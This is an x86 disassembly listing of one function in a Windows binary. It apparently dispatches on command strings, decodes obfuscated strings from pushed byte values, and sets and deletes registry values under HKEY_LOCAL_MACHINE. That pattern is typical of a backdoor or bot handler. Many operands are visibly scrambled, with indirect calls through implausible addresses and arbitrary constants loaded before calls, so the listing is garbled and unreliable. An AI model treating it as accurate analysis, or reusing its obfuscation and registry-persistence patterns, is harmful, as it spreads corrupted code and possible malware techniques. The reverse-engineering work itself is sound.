		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4019A1
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_4011F9
		lea	ecx, [esp+178h+var_164]
		call	sub_4013CF
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_401726
		push	eax
		push	3AFEA7h
		push	0
		call	dword ptr ds:1D7F53h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_401F73
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_401EAB
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	edx, 0C9D7F5h
		call	sub_4010FF
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_4011F9
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40528E
; ---------------------------------------------------------------------------


loc_404D67:				; CODE XREF: sub_404890+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_404D8A
		mov	ds:byte_488752,	al
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404D8A:				; CODE XREF: sub_404890+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_405051
		lea	ecx, [esp+178h+var_11C]
		call	sub_4013CF
		push	6CEBFAh
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	edi, 0EECEBFh
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_401622
		push	7F675Fh
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_4011F9
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_404E14
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40528E
; ---------------------------------------------------------------------------


loc_404E14:				; CODE XREF: sub_404890+56Ej
		push	3FB3AFh
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_401726
		push	eax
		call	dword ptr ds:5FD9D7h
		lea	ecx, [esp+164h+var_150]
		mov	[esp+164h+var_F0], eax
		mov	[esp+164h+arg_C], bl
		call	sub_4011F9
		mov	eax, [esp+164h+var_F0]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_404EE7
		push	2
		lea	eax, [esp+168h+var_F0]
		push	4
		push	eax
		call	dword ptr ds:2FECEBh
		mov	edi, eax
		test	edi, edi
		jz	loc_404FC8
		push	17F675h
		lea	ecx, [esp+16Ch+var_154]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	[esp+16Ch+arg_8], 0Dh
		call	sub_401726
		push	eax
		lea	eax, [esp+170h+var_10C]
		push	4BFB3Ah
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+168h+var_154]
		mov	[esp+168h+arg_8], bl
		call	sub_4011F9
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+16Ch+var_10C]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40502E
; ---------------------------------------------------------------------------


loc_404EE7:				; CODE XREF: sub_404890+5CAj
		push	25FD9Dh
		lea	eax, [esp+168h+var_150]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+164h+arg_C], 0Eh
		call	sub_401726
		push	eax
		call	dword ptr ds:52FECEh
		lea	ecx, [esp+168h+var_154]
		mov	edi, eax
		mov	[esp+168h+arg_8], bl
		call	sub_4011F9
		test	edi, edi
		jz	loc_404FC8
		mov	ecx, [edi+0Ch]
		push	697F67h
		lea	eax, [esp+16Ch+var_154]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_401622
		mov	ebp, eax
		push	edi
		mov	[esp+16Ch+arg_8], 0Fh
		call	dword ptr ds:74BFB3h
		push	eax
		mov	ecx, ebp
		call	sub_401726
		push	eax
		lea	ecx, [esp+170h+var_10C]
		push	3A5FD9h
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+168h+var_154]
		mov	[esp+168h+arg_8], bl
		call	sub_4011F9
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+16Ch+var_10C]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	esi, 0A4E97Fh
		call	sub_4010FF
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, bl
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404FC8:				; CODE XREF: sub_404890+5E3j
					; sub_404890+694j
		push	5274BFh
		lea	ecx, [esp+16Ch+var_154]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+168h+arg_8], 10h
		call	sub_401726
		push	eax
		lea	edx, [esp+16Ch+var_10C]
		push	693A5Fh
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+168h+var_154]
		mov	[esp+168h+arg_8], bl
		call	sub_4011F9
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+16Ch+var_10C]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40502E:				; CODE XREF: sub_404890+652j
		mov	edx, 0E5A4E9h
		call	sub_4010FF
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_4011F9
		mov	al, bl
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_405051:				; CODE XREF: sub_404890+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_405142
		lea	ecx, [edi+9]
		call	sub_401726
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_401EBF
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	edi, 0E3D693h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4018DE
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		push	79EB49h
		push	7CF5A4h
		call	sub_401CDA
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_40127B
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_401726
		push	eax
		push	3E7AD2h
		push	1F3D69h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_405142:				; CODE XREF: sub_404890+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_4052B0
		push	0F9EB4h
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_401384
		mov	ecx, edi
		mov	ebx, eax
		call	sub_401384
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_401384
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_4011F9
		test	bl, bl
		jnz	loc_405293
		lea	ecx, [esp+178h+var_14C]
		call	sub_4013CF
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_401384
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40141A
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401564
		lea	ecx, [esp+178h+var_164]
		call	sub_4013CF
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_401726
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	7CF5Ah
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_401726
		push	eax
		call	ds:dword_43E7AD
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40524A
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	61F3D6h
		push	ecx
		push	edx
		jmp	short loc_405268
; ---------------------------------------------------------------------------


loc_40524A:				; CODE XREF: sub_404890+99Dj
		call	sub_401479
		push	eax
		lea	ecx, [esp+16Ch+var_154]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405268:				; CODE XREF: sub_404890+9B8j
		mov	esi, 6387CFh
		call	sub_4010FF
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_4011F9
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40528E:				; CODE XREF: sub_404890+1D4j
					; sub_404890+2AFj ...
		call	sub_4011F9


loc_405293:				; CODE XREF: sub_404890+922j
					; sub_404890+C70j
		xor	al, al


loc_405295:				; CODE XREF: sub_404890+6Fj
					; sub_404890+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4052B0:				; CODE XREF: sub_404890+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_405326
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401DF7
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	esi, 81CE1Fh
		call	sub_4010FF
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, bl
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_405326:				; CODE XREF: sub_404890+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_405417
		push	1
		push	offset loc_40E70F
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011C2
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_40127B
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_401726
		push	eax
		push	207387h
		push	1039C3h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_4011F9
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_4011F9
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4018DE
		add	esp, 18h
		mov	esi, eax
		mov	eax, 0E9039Ch
		mov	[esp+178h+var_4], 1Ah
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		push	7C81CEh
		push	3E40E7h
		call	sub_401CDA
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_405417:				; CODE XREF: sub_404890+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_4054EB
		push	5F2073h
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_401726
		push	eax
		call	dword ptr ds:2F9039h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_4011F9
		test	ebx, ebx
		jnz	short loc_40547F
		mov	ecx, 84BE40h


loc_40547F:				; CODE XREF: sub_404890+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_401875
		push	offset loc_425F20
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012B7
		test	eax, eax
		jz	short loc_4054D4
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	esi, 2FC25Fh
		call	sub_4010FF


loc_4054D4:				; CODE XREF: sub_404890+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_4054EB:				; CODE XREF: sub_404890+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_405293
		lea	ecx, [esp+178h+var_100]
		call	sub_4013CF
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4018DE
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_4019A1
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_4011F9
		mov	edx, 68FF09h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, ds:dword_4B3770
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	347F84h
		push	eax
		push	1A3FC2h
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1A0h+var_164]
		push	1Fh
		push	edx
		call	sub_4018DE
		add	esp, 30h
		lea	ecx, [esp+178h+var_8C]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	byte ptr [esp+188h+var_4], 1Fh
		call	sub_401726
		mov	edx, [esp+188h+var_168]
		push	eax
		push	edx
		call	dword ptr ds:4D1FE1h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_4011F9
		mov	eax, [esp+178h+var_168]
		mov	edi, ds:dword_4B3778
		push	eax
		call	edi
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	668FF0h
		push	0
		lea	ecx, [esp+184h+var_100]
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+19Ch+var_164]
		push	2Dh
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 20h
		call	sub_401726
		mov	ebp, ds:dword_4B3730
		push	eax
		mov	eax, [esp+17Ch+var_168]
		push	eax
		call	ebp
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_4011F9
		mov	ecx, [esp+178h+var_168]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+19Ch+var_164]
		push	9
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 21h
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4013CF
		mov	bl, 22h
		push	3347F8h
		push	19A3FCh
		lea	ecx, [esp+180h+var_134]
		mov	byte ptr [esp+180h+var_4], bl
		call	sub_401B40
		push	eax
		call	dword ptr ds:4CD1FEh
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	eax, [esp+19Ch+var_164]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 23h
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_401726
		push	eax
		lea	ecx, [esp+180h+var_134]
		push	2668FFh
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4015F5
		push	eax
		call	dword ptr ds:13347Fh
		lea	edx, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	edx
		push	99A3Fh
		push	0
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		lea	eax, [esp+198h+var_164]
		push	12h
		push	eax
		call	sub_4018DE
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 24h
		call	sub_401726
		mov	ecx, [esp+178h+var_168]
		push	eax
		push	ecx
		call	ebp
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		mov	edx, [esp+178h+var_168]
		push	edx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	eax, [esp+1A8h+var_164]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 25h
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		push	4CD1Fh
		push	(offset	loc_42668E+1)
		lea	ecx, [esp+180h+var_134]
		call	sub_401B40
		push	eax
		call	dword ptr ds:613347h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		call	sub_4018DE
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 26h
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_401726
		push	eax
		lea	edx, [esp+180h+var_134]
		push	7099A3h
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4015F5
		push	eax
		call	dword ptr ds:784CD1h
		lea	eax, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	eax
		push	7C2668h
		push	0
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	ecx, [esp+19Ch+var_164]
		push	13h
		push	ecx
		call	sub_4018DE
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 27h
		call	sub_401726
		mov	edx, [esp+178h+var_168]
		push	eax
		push	edx
		call	ebp
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		mov	eax, [esp+178h+var_168]
		push	eax
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	ecx, [esp+1A0h+var_164]
		push	17h
		push	ecx
		call	sub_4018DE
		add	esp, 30h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 28h
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		push	3E1334h
		push	5F099Ah
		lea	ecx, [esp+180h+var_134]
		call	sub_401B40
		push	eax
		call	dword ptr ds:6F84CDh
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	edx, [esp+1A0h+var_164]
		push	17h
		push	edx
		call	sub_4018DE
		add	esp, 30h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 29h
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_401726
		push	eax
		lea	eax, [esp+180h+var_134]
		push	37C266h
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4015F5
		push	eax
		call	dword ptr ds:1BE133h
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	4DF099h
		push	0
		lea	ecx, [esp+184h+var_100]
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4
		push	47h
		lea	edx, [esp+1ACh+var_164]
		push	4
		push	edx
		call	sub_4018DE
		add	esp, 3Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Ah
		call	sub_401726
		push	eax
		mov	eax, [esp+17Ch+var_168]
		push	eax
		call	ebp
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		mov	ecx, [esp+178h+var_168]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	edx, [esp+1A4h+var_164]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Bh
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		push	66F84Ch
		push	337C26h
		lea	ecx, [esp+180h+var_134]
		call	sub_401B40
		push	eax
		call	dword ptr ds:59BE13h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	eax, [esp+1A4h+var_164]
		push	2
		push	eax
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Ch
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_401726
		push	eax
		lea	ecx, [esp+180h+var_134]
		push	2CDF09h
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4015F5
		push	eax
		call	dword ptr ds:166F84h
		lea	edx, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	edx
		push	offset word_4B37C2
		push	0
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	0Eh
		push	0Fh
		push	27h
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+194h+var_164]
		push	2Eh
		push	eax
		call	sub_4018DE
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Dh
		call	sub_401726
		mov	ecx, [esp+178h+var_168]
		push	eax
		push	ecx
		call	ebp
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		mov	edx, [esp+178h+var_168]
		push	edx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+1A4h+var_164]
		push	14h
		push	eax
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Eh
		call	sub_401726
		push	eax
		call	sub_40157D
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		push	259BE1h
		push	52CDF0h
		lea	ecx, [esp+180h+var_134]
		call	sub_401B40
		push	eax
		call	dword ptr ds:6966F8h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	ecx, [esp+1A4h+var_164]
		push	14h
		push	ecx
		call	sub_4018DE
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Fh
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_401726
		push	eax
		push	34B37Ch
		lea	edx, [esp+184h+var_134]
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_134]
		call	sub_4015F5
		push	eax
		call	dword ptr ds:1A59BEh
		lea	eax, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	eax
		push	4D2CDFh
		push	0
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		push	0
		push	12h
		push	5
		push	12h
		push	0Fh
		push	0Ch
		push	10h
		push	18h
		lea	ecx, [esp+198h+var_E8]
		push	1Fh
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 30h
		call	sub_401726
		mov	edx, [esp+178h+var_168]
		push	eax
		push	edx
		call	ebp
		lea	ecx, [esp+178h+var_E8]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_4011F9
		mov	eax, [esp+178h+var_168]
		push	eax
		call	edi
		mov	esi, ds:dword_4B3AE8
		push	66966Fh
		call	esi
		push	734B37h
		call	esi
		push	39A59Bh
		call	esi
		push	1CD2CDh
		call	esi
		add	esp, 10h
		lea	ecx, [esp+178h+var_134]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_4011F9
		lea	ecx, [esp+178h+var_100]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
sub_404890	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
